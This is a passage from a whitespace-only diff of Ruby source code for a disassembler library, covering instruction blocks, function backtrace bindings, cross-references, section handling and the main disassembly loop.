edata, edata_ptr - @backtracked_for = [] - end - - def bin_length - (di = @list.last) ? di.block_offset + di.bin_length : 0 - end - - # splits the current block into a new one with all di from address addr to end - # caller is responsible for rebacktracing new.bt_for to regenerate correct old.btt/new.btt - def split(addr) - raise "invalid split @#{Expression[addr]}" if not idx = @list.index(@list.find { |di| di.address == addr }) or idx == 0 - off = @list[idx].block_offset - new_b = self.class.new(addr, @edata, @edata_ptr + off) - new_b.add_di @list.delete_at(idx) while @list[idx] - new_b.to_normal, @to_normal = to_normal, new_b.to_normal - new_b.to_subfuncret, @to_subfuncret = to_subfuncret, new_b.to_subfuncret - new_b.add_from @list.last.address - add_to new_b.address - @backtracked_for.delete_if { |btt| - if btt.address and new_b.list.find { |di| di.address == btt.address } - new_b.backtracked_for << btt - true - end - } - new_b - end - - # adds a decodedinstruction to the block list, updates di.block and di.block_offset - def add_di(di) - di.block = self - di.block_offset = bin_length - di.address ||= @address + di.block_offset - @list << di - end + # address of the first instruction + attr_accessor :address + # pointer to raw data + attr_accessor :edata, :edata_ptr + # list of DecodedInstructions + attr_accessor :list + # address of instructions giving control directly to us + # includes addr of normal instruction when call flow continues to us past the end of the preceding block + # does not include addresses of subfunction return instructions + # may be nil or an array + attr_accessor :from_normal + # address of instructions called/jumped to + attr_accessor :to_normal + # address of an instruction that calls a subfunction which returns to us + attr_accessor :from_subfuncret + # address of instruction executed after a called subfunction returns + attr_accessor :to_subfuncret + # address of instructions executed indirectly through us (callback in a subfunction, SEH...) + # XXX from_indirect is not populated for now + attr_accessor :from_indirect, :to_indirect + # array of BacktraceTrace + # when a new code path comes to us, it should be backtracked for the values of :r/:w/:x using btt with no address + # for internal use only (block splitting): btt with an address + attr_accessor :backtracked_for + + # create a new InstructionBlock based at address + # also accepts a DecodedInstruction or an Array of them to initialize from + def initialize(arg0, edata=nil, edata_ptr=nil) + @list = [] + case arg0 + when DecodedInstruction + @address = arg0.address + add_di(arg0) + when Array + @address = arg0.first.address if not arg0.empty? + arg0.each { |di| add_di(di) } + else + @address = arg0 + end + edata_ptr ||= edata ? edata.ptr : 0 + @edata, @edata_ptr = edata, edata_ptr + @backtracked_for = [] + end + + def bin_length + (di = @list.last) ? di.block_offset + di.bin_length : 0 + end + + # splits the current block into a new one with all di from address addr to end + # caller is responsible for rebacktracing new.bt_for to regenerate correct old.btt/new.btt + def split(addr) + raise "invalid split @#{Expression[addr]}" if not idx = @list.index(@list.find { |di| di.address == addr }) or idx == 0 + off = @list[idx].block_offset + new_b = self.class.new(addr, @edata, @edata_ptr + off) + new_b.add_di @list.delete_at(idx) while @list[idx] + new_b.to_normal, @to_normal = to_normal, new_b.to_normal + new_b.to_subfuncret, @to_subfuncret = to_subfuncret, new_b.to_subfuncret + new_b.add_from @list.last.address + add_to new_b.address + @backtracked_for.delete_if { |btt| + if btt.address and new_b.list.find { |di| di.address == btt.address } + new_b.backtracked_for << btt + true + end + } + new_b + end + + # adds a decodedinstruction to the block list, updates di.block and di.block_offset + def add_di(di) + di.block = self + di.block_offset = bin_length + di.address ||= @address + di.block_offset + @list << di + end end # a factorized subfunction as seen by the disassembler class DecodedFunction - # when backtracking an instruction that calls us, use this binding and then the instruction's - # the binding is lazily filled up for non-external functions, register by register, when - # a backtraced expression depends on it - attr_accessor :backtrace_binding - # same as InstructionBlock#backtracked_for - # includes the expression responsible of the function return (eg [esp] on ia32) - attr_accessor :backtracked_for - # addresses of instruction causing the function to return - attr_accessor :return_address - # a lambda called for dynamic backtrace_binding generation - attr_accessor :btbind_callback - # a lambda called for dynamic backtracked_for - attr_accessor :btfor_callback - # bool, if false the function is actually being disassembled - attr_accessor :finalized - # bool, if true the function does not return (eg exit() or ExitProcess()) - attr_accessor :noreturn - - # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] - # else update lazily the binding from expr.externals, and return backtrace_binding - def get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - if btbind_callback - @btbind_callback[dasm, @backtrace_binding, funcaddr, calladdr, expr, origin, maxdepth] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - else - unk_regs = expr.externals.grep(Symbol).uniq - @backtrace_binding.keys - [:unknown] - dasm.cpu.backtrace_update_function_binding(dasm, funcaddr, self, return_address, *unk_regs) if not unk_regs.empty? - @backtrace_binding - end - end - - # if btfor_callback is defined, calls it with args [dasm, bt_for, funcaddr, calladdr] - # else return backtracked_for - def get_backtracked_for(dasm, funcaddr, calladdr) - if btfor_callback - @btfor_callback[dasm, @backtracked_for, funcaddr, calladdr] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtracked_for(dasm, funcaddr, calladdr) - else - @backtracked_for - end - end - - def initialize - @backtracked_for = [] - @backtrace_binding = {} - end + # when backtracking an instruction that calls us, use this binding and then the instruction's + # the binding is lazily filled up for non-external functions, register by register, when + # a backtraced expression depends on it + attr_accessor :backtrace_binding + # same as InstructionBlock#backtracked_for + # includes the expression responsible of the function return (eg [esp] on ia32) + attr_accessor :backtracked_for + # addresses of instruction causing the function to return + attr_accessor :return_address + # a lambda called for dynamic backtrace_binding generation + attr_accessor :btbind_callback + # a lambda called for dynamic backtracked_for + attr_accessor :btfor_callback + # bool, if false the function is actually being disassembled + attr_accessor :finalized + # bool, if true the function does not return (eg exit() or ExitProcess()) + attr_accessor :noreturn + + # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] + # else update lazily the binding from expr.externals, and return backtrace_binding + def get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) + if btbind_callback + @btbind_callback[dasm, @backtrace_binding, funcaddr, calladdr, expr, origin, maxdepth] + elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] + target.get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) + else + unk_regs = expr.externals.grep(Symbol).uniq - @backtrace_binding.keys - [:unknown] + dasm.cpu.backtrace_update_function_binding(dasm, funcaddr, self, return_address, *unk_regs) if not unk_regs.empty? + @backtrace_binding + end + end + + # if btfor_callback is defined, calls it with args [dasm, bt_for, funcaddr, calladdr] + # else return backtracked_for + def get_backtracked_for(dasm, funcaddr, calladdr) + if btfor_callback + @btfor_callback[dasm, @backtracked_for, funcaddr, calladdr] + elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] + target.get_backtracked_for(dasm, funcaddr, calladdr) + else + @backtracked_for + end + end + + def initialize + @backtracked_for = [] + @backtrace_binding = {} + end end class CPU - # return the thing to backtrace to find +value+ before the execution of this instruction - # eg backtrace_emu('inc eax', Expression[:eax]) => Expression[:eax + 1] - # (the value of :eax after 'inc eax' is the value of :eax before plus 1) - # may return Expression::Unknown - def backtrace_emu(di, value) - Expression[Expression[value].bind(di.backtrace_binding ||= get_backtrace_binding(di)).reduce] - end - - # returns a list of Expressions/Integer to backtrace to find an execution target - def get_xrefs_x(dasm, di) - end - - # returns a list of [type, address, len] - def get_xrefs_rw(dasm, di) - get_xrefs_r(dasm, di).map { |addr, len| [:r, addr, len] } + get_xrefs_w(dasm, di).map { |addr, len| [:w, addr, len] } - end - - # returns a list [addr, len] - def get_xrefs_r(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - r = b.values - x = get_xrefs_x(dasm, di) - r |= x if x - (r.grep(Indirection) + r.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # returns a list [addr, len] - def get_xrefs_w(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - w = b.keys - (w.grep(Indirection) + w.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # checks if the expression corresponds to a function return value with the instruction - # (eg di == 'call something' and expr == [esp]) - def backtrace_is_function_return(expr, di=nil) - end - - # updates f.backtrace_binding when a new return address has been found - # TODO update also when anything changes inside the function (new loop found etc) - use backtracked_for ? - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - end - - # returns if the expression is an address on the stack - # (to avoid trying to backtrace its absolute address until we found function boundaries) - def backtrace_is_stack_address(expr) - end - - # updates the instruction arguments: replace an expression with another (eg when a label is renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; Expression[a.bind(old => new).reduce] - else a - end - } - end - - # a callback called whenever a backtrace is successful - # di is the decodedinstruction at the backtrace's origin - def backtrace_found_result(dasm, di, expr, type, len) - end + # return the thing to backtrace to find +value+ before the execution of this instruction + # eg backtrace_emu('inc eax', Expression[:eax]) => Expression[:eax + 1] + # (the value of :eax after 'inc eax' is the value of :eax before plus 1) + # may return Expression::Unknown + def backtrace_emu(di, value) + Expression[Expression[value].bind(di.backtrace_binding ||= get_backtrace_binding(di)).reduce] + end + + # returns a list of Expressions/Integer to backtrace to find an execution target + def get_xrefs_x(dasm, di) + end + + # returns a list of [type, address, len] + def get_xrefs_rw(dasm, di) + get_xrefs_r(dasm, di).map { |addr, len| [:r, addr, len] } + get_xrefs_w(dasm, di).map { |addr, len| [:w, addr, len] } + end + + # returns a list [addr, len] + def get_xrefs_r(dasm, di) + b = di.backtrace_binding ||= get_backtrace_binding(di) + r = b.values + x = get_xrefs_x(dasm, di) + r |= x if x + (r.grep(Indirection) + r.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } + end + + # returns a list [addr, len] + def get_xrefs_w(dasm, di) + b = di.backtrace_binding ||= get_backtrace_binding(di) + w = b.keys + (w.grep(Indirection) + w.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } + end + + # checks if the expression corresponds to a function return value with the instruction + # (eg di == 'call something' and expr == [esp]) + def backtrace_is_function_return(expr, di=nil) + end + + # updates f.backtrace_binding when a new return address has been found + # TODO update also when anything changes inside the function (new loop found etc) - use backtracked_for ? + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + end + + # returns if the expression is an address on the stack + # (to avoid trying to backtrace its absolute address until we found function boundaries) + def backtrace_is_stack_address(expr) + end + + # updates the instruction arguments: replace an expression with another (eg when a label is renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; Expression[a.bind(old => new).reduce] + else a + end + } + end + + # a callback called whenever a backtrace is successful + # di is the decodedinstruction at the backtrace's origin + def backtrace_found_result(dasm, di, expr, type, len) + end end class ExeFormat - # returns a string containing asm-style section declaration - def dump_section_header(addr, edata) - "\n// section at #{Expression[addr]}" - end + # returns a string containing asm-style section declaration + def dump_section_header(addr, edata) + "\n// section at #{Expression[addr]}" + end - # returns an array of expressions that may be executed by this instruction - def get_xrefs_x(dasm, di) @cpu.get_xrefs_x(dasm, di) end + # returns an array of expressions that may be executed by this instruction + def get_xrefs_x(dasm, di) @cpu.get_xrefs_x(dasm, di) end - # returns an array of [type, expression, length] that may be accessed by this instruction (type is :r/:w, len is in bytes) - def get_xrefs_rw(dasm, di) @cpu.get_xrefs_rw(dasm, di) end + # returns an array of [type, expression, length] that may be accessed by this instruction (type is :r/:w, len is in bytes) + def get_xrefs_rw(dasm, di) @cpu.get_xrefs_rw(dasm, di) end end # a disassembler class # holds a copy of a program sections, a list of decoded instructions, xrefs # is able to backtrace an expression from an address following the call flow (backwards) class Disassembler - attr_accessor :program, :cpu - # binding (jointure of @sections.values.exports) - attr_accessor :prog_binding - # hash addr => edata - attr_accessor :sections - # hash addr => DecodedInstruction - attr_accessor :decoded - # hash addr => DecodedFunction (includes 'imported' functions) - attr_accessor :function - # hash addr => (array of) xrefs - access with +add_xref+/+each_xref+ - attr_accessor :xrefs - # bool, true to check write xrefs on each instr disasm (default true) - attr_accessor :check_smc - # list of [addr to disassemble, (optional)who jumped to it, (optional)got there by a subfunction return] - attr_accessor :addrs_todo - # hash address => binding - attr_accessor :address_binding - # number of blocks to backtrace before aborting if no result is found (defaults to class.backtrace_maxblocks, 50 by default) - attr_accessor :backtrace_maxblocks - # maximum backtrace length for :r/:w, defaults to backtrace_maxblocks - attr_accessor :backtrace_maxblocks_data - # max bt length for backtrace_fast blocks, default=0 - attr_accessor :backtrace_maxblocks_fast - # max complexity for an Expr during backtrace before abort - attr_accessor :backtrace_maxcomplexity, :backtrace_maxcomplexity_data - # maximum number of instructions inside a basic block, split past this limit - attr_accessor :disassemble_maxblocklength - # a cparser that parsed some C header files, prototypes are converted to DecodedFunction when jumped to - attr_accessor :c_parser - # hash address => array of strings - # default dasm dump will only show comments at beginning of code blocks - attr_accessor :comment - # bool, set to true (default) if functions with undetermined binding should be assumed to return with ABI-conforming binding (conserve frame ptr) - attr_accessor :funcs_stdabi - # callback called whenever an instruction will backtrace :x (before the backtrace is started) - # arguments: |addr of origin, array of exprs to backtrace| - # must return the replacement array, nil == [] - attr_accessor :callback_newaddr - # called whenever an instruction is decoded and added to an instruction block. arg: the new decoded instruction - # returns the new di to consider (nil to end block) - attr_accessor :callback_newinstr - # called whenever the disassembler tries to disassemble an addresse that has been written to. arg: the address - attr_accessor :callback_selfmodifying - # called when the disassembler stops (stopexec/undecodable instruction) - attr_accessor :callback_stopaddr - # callback called before each backtrace that may take some time - attr_accessor :callback_prebacktrace - # callback called once all addresses have been disassembled - attr_accessor :callback_finished - # pointer to the gui widget we're displayed in - attr_accessor :gui - - @@backtrace_maxblocks = 50 - - # creates a new disassembler - def initialize(program, cpu=program.cpu) - reinitialize(program, cpu) - end - - # resets the program - def reinitialize(program, cpu=program.cpu) - @program = program - @cpu = cpu - @sections = {} - @decoded = {} - @xrefs = {} - @function = {} - @check_smc = true - @prog_binding = {} - @old_prog_binding = {} # same as prog_binding, but keep old var names - @addrs_todo = [] - @addrs_done = [] - @address_binding = {} - @backtrace_maxblocks = @@backtrace_maxblocks - @backtrace_maxblocks_fast = 0 - @backtrace_maxcomplexity = 40 - @backtrace_maxcomplexity_data = 5 - @disassemble_maxblocklength = 100 - @comment = {} - @funcs_stdabi = true - end - - # adds a section, updates prog_binding - # base addr is an Integer or a String (label name for offset 0) - def add_section(encoded, base) - encoded, base = base, encoded if base.kind_of? EncodedData - case base - when ::Integer - when ::String - raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base] - encoded.add_export base, 0 - else raise "invalid section base #{base.inspect} - expected string or integer" - end - - @sections[base] = encoded - @label_alias_cache = nil - encoded.binding(base).each { |k, v| - @old_prog_binding[k] = @prog_binding[k] = v.reduce - } - - # update section_edata.reloc - # label -> list of relocs that refers to it - @inv_section_reloc = {} - @sections.each { |b, e| - e.reloc.each { |o, r| - r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } - } - } - - self - end - - def add_xref(addr, x) - case @xrefs[addr] - when nil; @xrefs[addr] = x - when x - when ::Array; @xrefs[addr] |= [x] - else @xrefs[addr] = [@xrefs[addr], x] - end - end - - # yields each xref to a given address, optionnaly restricted to a type - def each_xref(addr, type=nil) - addr = normalize addr - - x = @xrefs[addr] - x = case x - when nil; [] - when ::Array; x.dup - else [x] - end - - x.delete_if { |x_| x_.type != type } if type - - # add pseudo-xrefs for exe relocs - if (not type or type == :reloc) and l = get_label_at(addr) and a = @inv_section_reloc[l] - a.each { |b, e, o, r| - addr = Expression[b]+o - # ignore relocs embedded in an already-listed instr - x << Xref.new(:reloc, addr) if not x.find { |x_| - next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length - } - } - end - - x.each { |x_| yield x_ } - end - - # parses a C header file, from which function prototypes will be converted to DecodedFunction when found in the code flow - def parse_c_file(file) - parse_c File.read(file), file - end - - # parses a C string for function prototypes - def parse_c(str, filename=nil, lineno=1) - @c_parser ||= @cpu.new_cparser - @c_parser.lexer.define_weak('__METASM__DECODE__') - @c_parser.parse(str, filename, lineno) - end - - # returns the canonical form of addr (absolute address integer or label of start of section + section offset) - def normalize(addr) - return addr if not addr or addr == :default - addr = Expression[addr].bind(@old_prog_binding).reduce if not addr.kind_of? Integer - addr %= 1 << [@cpu.size, 32].max if @cpu and addr.kind_of? Integer - addr - end - - # returns [edata, edata_base] or nil - # edata.ptr points to addr - def get_section_at(addr, memcheck=true) - case addr = normalize(addr) - when ::Integer - if s = @sections.find { |b, e| b.kind_of? ::Integer and addr >= b and addr < b + e.length } || - @sections.find { |b, e| b.kind_of? ::Integer and addr == b + e.length } # end label - s[1].ptr = addr - s[0] - return if memcheck and s[1].data.respond_to?(:page_invalid?) and s[1].data.page_invalid?(s[1].ptr) - [s[1], s[0]] - end - when Expression - if addr.op == :+ and addr.rexpr.kind_of? ::Integer and addr.rexpr >= 0 and addr.lexpr.kind_of? ::String and e = @sections[addr.lexpr] - e.ptr = addr.rexpr - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, Expression[addr.lexpr]] - elsif addr.op == :+ and addr.rexpr.kind_of? ::String and not addr.lexpr and e = @sections[addr.rexpr] - e.ptr = 0 - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, addr.rexpr] - end - end - end - - # returns the label at the specified address, creates it if needed using "prefix_addr" - # renames the existing label if it is in the form rewritepfx_addr - # returns nil if the address is not known and is not a string - def auto_label_at(addr, base='xref', *rewritepfx) - addr = Expression[addr].reduce - addrstr = "#{base}_#{Expression[addr]}" - return if addrstr !~ /^\w+$/ - e, b = get_section_at(addr) - if not e - l = Expression[addr].reduce_rec if Expression[addr].reduce_rec.kind_of? ::String - l ||= addrstr if addr.kind_of? Expression and addr.externals.grep(::Symbol).empty? - elsif not l = e.inv_export[e.ptr] - l = @program.new_label(addrstr) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif rewritepfx.find { |p| base != p and addrstr.sub(base, p) == l } - newl = addrstr - newl = @program.new_label(newl) unless @old_prog_binding[newl] and @old_prog_binding[newl] == @prog_binding[l] # avoid _uuid when a -> b -> a - rename_label l, newl - l = newl - end - l - end - - # returns a hash associating addr => list of labels at this addr - def label_alias - if not @label_alias_cache - @label_alias_cache = {} - @prog_binding.each { |k, v| - (@label_alias_cache[v] ||= []) << k - } - end - @label_alias_cache - end - - # decodes instructions from an entrypoint, (tries to) follows code flow - def disassemble(*entrypoints) - nil while disassemble_mainiter(entrypoints) - self - end - - attr_accessor :entrypoints - - # do one operation relevant to disassembling - # returns nil once done - def disassemble_mainiter(entrypoints=[]) - @entrypoints ||= [] - if @addrs_todo.empty? and entrypoints.empty? - post_disassemble - puts 'disassembly finished' if $VERBOSE - @callback_finished[] if callback_finished - return false - elsif @addrs_todo.empty? - ep = entrypoints.shift - l = auto_label_at(normalize(ep), 'entrypoint') - puts "start disassemble from #{l} (#{entrypoints.length})" if $VERBOSE and not entrypoints.empty? - @entrypoints << l - @addrs_todo << [ep] - else - disassemble_step - end - true - end - - def post_disassemble - @decoded.each_value { |di| - next if not di.kind_of? DecodedInstruction - next if not di.opcode or not di.opcode.props[:saveip] - if not di.block.to_subfuncret - di.add_comment 'noreturn' - # there is no need to re-loop on all :saveip as check_noret is transitive - di.block.each_to_normal { |fa| check_noreturn_function(fa) } - end - } - @function.each { |addr, f| - next if not @decoded[addr] - if not f.finalized - f.finalized = true + attr_accessor :program, :cpu + # binding (jointure of @sections.values.exports) + attr_accessor :prog_binding + # hash addr => edata + attr_accessor :sections + # hash addr => DecodedInstruction + attr_accessor :decoded + # hash addr => DecodedFunction (includes 'imported' functions) + attr_accessor :function + # hash addr => (array of) xrefs - access with +add_xref+/+each_xref+ + attr_accessor :xrefs + # bool, true to check write xrefs on each instr disasm (default true) + attr_accessor :check_smc + # list of [addr to disassemble, (optional)who jumped to it, (optional)got there by a subfunction return] + attr_accessor :addrs_todo + # hash address => binding + attr_accessor :address_binding + # number of blocks to backtrace before aborting if no result is found (defaults to class.backtrace_maxblocks, 50 by default) + attr_accessor :backtrace_maxblocks + # maximum backtrace length for :r/:w, defaults to backtrace_maxblocks + attr_accessor :backtrace_maxblocks_data + # max bt length for backtrace_fast blocks, default=0 + attr_accessor :backtrace_maxblocks_fast + # max complexity for an Expr during backtrace before abort + attr_accessor :backtrace_maxcomplexity, :backtrace_maxcomplexity_data + # maximum number of instructions inside a basic block, split past this limit + attr_accessor :disassemble_maxblocklength + # a cparser that parsed some C header files, prototypes are converted to DecodedFunction when jumped to + attr_accessor :c_parser + # hash address => array of strings + # default dasm dump will only show comments at beginning of code blocks + attr_accessor :comment + # bool, set to true (default) if functions with undetermined binding should be assumed to return with ABI-conforming binding (conserve frame ptr) + attr_accessor :funcs_stdabi + # callback called whenever an instruction will backtrace :x (before the backtrace is started) + # arguments: |addr of origin, array of exprs to backtrace| + # must return the replacement array, nil == [] + attr_accessor :callback_newaddr + # called whenever an instruction is decoded and added to an instruction block. arg: the new decoded instruction + # returns the new di to consider (nil to end block) + attr_accessor :callback_newinstr + # called whenever the disassembler tries to disassemble an addresse that has been written to. arg: the address + attr_accessor :callback_selfmodifying + # called when the disassembler stops (stopexec/undecodable instruction) + attr_accessor :callback_stopaddr + # callback called before each backtrace that may take some time + attr_accessor :callback_prebacktrace + # callback called once all addresses have been disassembled + attr_accessor :callback_finished + # pointer to the gui widget we're displayed in + attr_accessor :gui + + @@backtrace_maxblocks = 50 + + # creates a new disassembler + def initialize(program, cpu=program.cpu) + reinitialize(program, cpu) + end + + # resets the program + def reinitialize(program, cpu=program.cpu) + @program = program + @cpu = cpu + @sections = {} + @decoded = {} + @xrefs = {} + @function = {} + @check_smc = true + @prog_binding = {} + @old_prog_binding = {} # same as prog_binding, but keep old var names + @addrs_todo = [] + @addrs_done = [] + @address_binding = {} + @backtrace_maxblocks = @@backtrace_maxblocks + @backtrace_maxblocks_fast = 0 + @backtrace_maxcomplexity = 40 + @backtrace_maxcomplexity_data = 5 + @disassemble_maxblocklength = 100 + @comment = {} + @funcs_stdabi = true + end + + # adds a section, updates prog_binding + # base addr is an Integer or a String (label name for offset 0) + def add_section(encoded, base) + encoded, base = base, encoded if base.kind_of? EncodedData + case base + when ::Integer + when ::String + raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 + raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base] + encoded.add_export base, 0 + else raise "invalid section base #{base.inspect} - expected string or integer" + end + + @sections[base] = encoded + @label_alias_cache = nil + encoded.binding(base).each { |k, v| + @old_prog_binding[k] = @prog_binding[k] = v.reduce + } + + # update section_edata.reloc + # label -> list of relocs that refers to it + @inv_section_reloc = {} + @sections.each { |b, e| + e.reloc.each { |o, r| + r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } + } + } + + self + end + + def add_xref(addr, x) + case @xrefs[addr] + when nil; @xrefs[addr] = x + when x + when ::Array; @xrefs[addr] |= [x] + else @xrefs[addr] = [@xrefs[addr], x] + end + end + + # yields each xref to a given address, optionnaly restricted to a type + def each_xref(addr, type=nil) + addr = normalize addr + + x = @xrefs[addr] + x = case x + when nil; [] + when ::Array; x.dup + else [x] + end + + x.delete_if { |x_| x_.type != type } if type + + # add pseudo-xrefs for exe relocs + if (not type or type == :reloc) and l = get_label_at(addr) and a = @inv_section_reloc[l] + a.each { |b, e, o, r| + addr = Expression[b]+o + # ignore relocs embedded in an already-listed instr + x << Xref.new(:reloc, addr) if not x.find { |x_| + next if not x_.origin or not di_at(x_.origin) + (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length + } + } + end + + x.each { |x_| yield x_ } + end + + # parses a C header file, from which function prototypes will be converted to DecodedFunction when found in the code flow + def parse_c_file(file) + parse_c File.read(file), file + end + + # parses a C string for function prototypes + def parse_c(str, filename=nil, lineno=1) + @c_parser ||= @cpu.new_cparser + @c_parser.lexer.define_weak('__METASM__DECODE__') + @c_parser.parse(str, filename, lineno) + end + + # returns the canonical form of addr (absolute address integer or label of start of section + section offset) + def normalize(addr) + return addr if not addr or addr == :default + addr = Expression[addr].bind(@old_prog_binding).reduce if not addr.kind_of? Integer + addr %= 1 << [@cpu.size, 32].max if @cpu and addr.kind_of? Integer + addr + end + + # returns [edata, edata_base] or nil + # edata.ptr points to addr + def get_section_at(addr, memcheck=true) + case addr = normalize(addr) + when ::Integer + if s = @sections.find { |b, e| b.kind_of? ::Integer and addr >= b and addr < b + e.length } || + @sections.find { |b, e| b.kind_of? ::Integer and addr == b + e.length } # end label + s[1].ptr = addr - s[0] + return if memcheck and s[1].data.respond_to?(:page_invalid?) and s[1].data.page_invalid?(s[1].ptr) + [s[1], s[0]] + end + when Expression + if addr.op == :+ and addr.rexpr.kind_of? ::Integer and addr.rexpr >= 0 and addr.lexpr.kind_of? ::String and e = @sections[addr.lexpr] + e.ptr = addr.rexpr + return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) + [e, Expression[addr.lexpr]] + elsif addr.op == :+ and addr.rexpr.kind_of? ::String and not addr.lexpr and e = @sections[addr.rexpr] + e.ptr = 0 + return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) + [e, addr.rexpr] + end + end + end + + # returns the label at the specified address, creates it if needed using "prefix_addr" + # renames the existing label if it is in the form rewritepfx_addr + # returns nil if the address is not known and is not a string + def auto_label_at(addr, base='xref', *rewritepfx) + addr = Expression[addr].reduce + addrstr = "#{base}_#{Expression[addr]}" + return if addrstr !~ /^\w+$/ + e, b = get_section_at(addr) + if not e + l = Expression[addr].reduce_rec if Expression[addr].reduce_rec.kind_of? ::String + l ||= addrstr if addr.kind_of? Expression and addr.externals.grep(::Symbol).empty? + elsif not l = e.inv_export[e.ptr] + l = @program.new_label(addrstr) + e.add_export l, e.ptr + @label_alias_cache = nil + @old_prog_binding[l] = @prog_binding[l] = b + e.ptr + elsif rewritepfx.find { |p| base != p and addrstr.sub(base, p) == l } + newl = addrstr + newl = @program.new_label(newl) unless @old_prog_binding[newl] and @old_prog_binding[newl] == @prog_binding[l] # avoid _uuid when a -> b -> a + rename_label l, newl + l = newl + end + l + end + + # returns a hash associating addr => list of labels at this addr + def label_alias + if not @label_alias_cache + @label_alias_cache = {} + @prog_binding.each { |k, v| + (@label_alias_cache[v] ||= []) << k + } + end + @label_alias_cache + end + + # decodes instructions from an entrypoint, (tries to) follows code flow + def disassemble(*entrypoints) + nil while disassemble_mainiter(entrypoints) + self + end + + attr_accessor :entrypoints + + # do one operation relevant to disassembling + # returns nil once done + def disassemble_mainiter(entrypoints=[]) + @entrypoints ||= [] + if @addrs_todo.empty? and entrypoints.empty? + post_disassemble + puts 'disassembly finished' if $VERBOSE + @callback_finished[] if callback_finished + return false + elsif @addrs_todo.empty? + ep = entrypoints.shift + l = auto_label_at(normalize(ep), 'entrypoint') + puts "start disassemble from #{l} (#{entrypoints.length})" if $VERBOSE and not entrypoints.empty? + @entrypoints << l + @addrs_todo << [ep] + else + disassemble_step + end + true + end + + def post_disassemble + @decoded.each_value { |di| + next if not di.kind_of? DecodedInstruction + next if not di.opcode or not di.opcode.props[:saveip] + if not di.block.to_subfuncret + di.add_comment 'noreturn' + # there is no need to re-loop on all :saveip as check_noret is transitive + di.block.each_to_normal { |fa| check_noreturn_function(fa) } + end + } + @function.each { |addr, f| + next if not @decoded[addr] + if not f.finalized + f.finalized = true puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, addr, f, f.return_address) - if not f.return_address - detect_function_thunk(addr) - end - end - @comment[addr] ||= [] - bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } - unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact - bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')] - @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address - } - end - - # disassembles one block from addrs_todo - # adds next addresses to handle to addrs_todo - # if @function[:default] exists, jumps to unknows locations are interpreted as to @function[:default] - def disassemble_step - return if not todo = @addrs_todo.pop or @addrs_done.include? todo - @addrs_done << todo if todo[1] - - # from_sfret is true if from is the address of a function call that returns to addr - addr, from, from_subfuncret = todo - - return if from == Expression::Unknown - - puts "disassemble_step #{Expression[addr]} #{Expression[from] if from} #{from_subfuncret} (/#{@addrs_todo.length})" if $DEBUG - - addr = normalize(addr) - - if from and from_subfuncret and di_at(from) - @decoded[from].block.each_to_normal { |subfunc| - subfunc = normalize(subfunc) - next if not f = @function[subfunc] or f.finalized - f.finalized = true + @cpu.backtrace_update_function_binding(self, addr, f, f.return_address) + if not f.return_address + detect_function_thunk(addr) + end + end + @comment[addr] ||= [] + bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } + unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact + bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? + @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')] + @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address + } + end + + # disassembles one block from addrs_todo + # adds next addresses to handle to addrs_todo + # if @function[:default] exists, jumps to unknows locations are interpreted as to @function[:default] + def disassemble_step + return if not 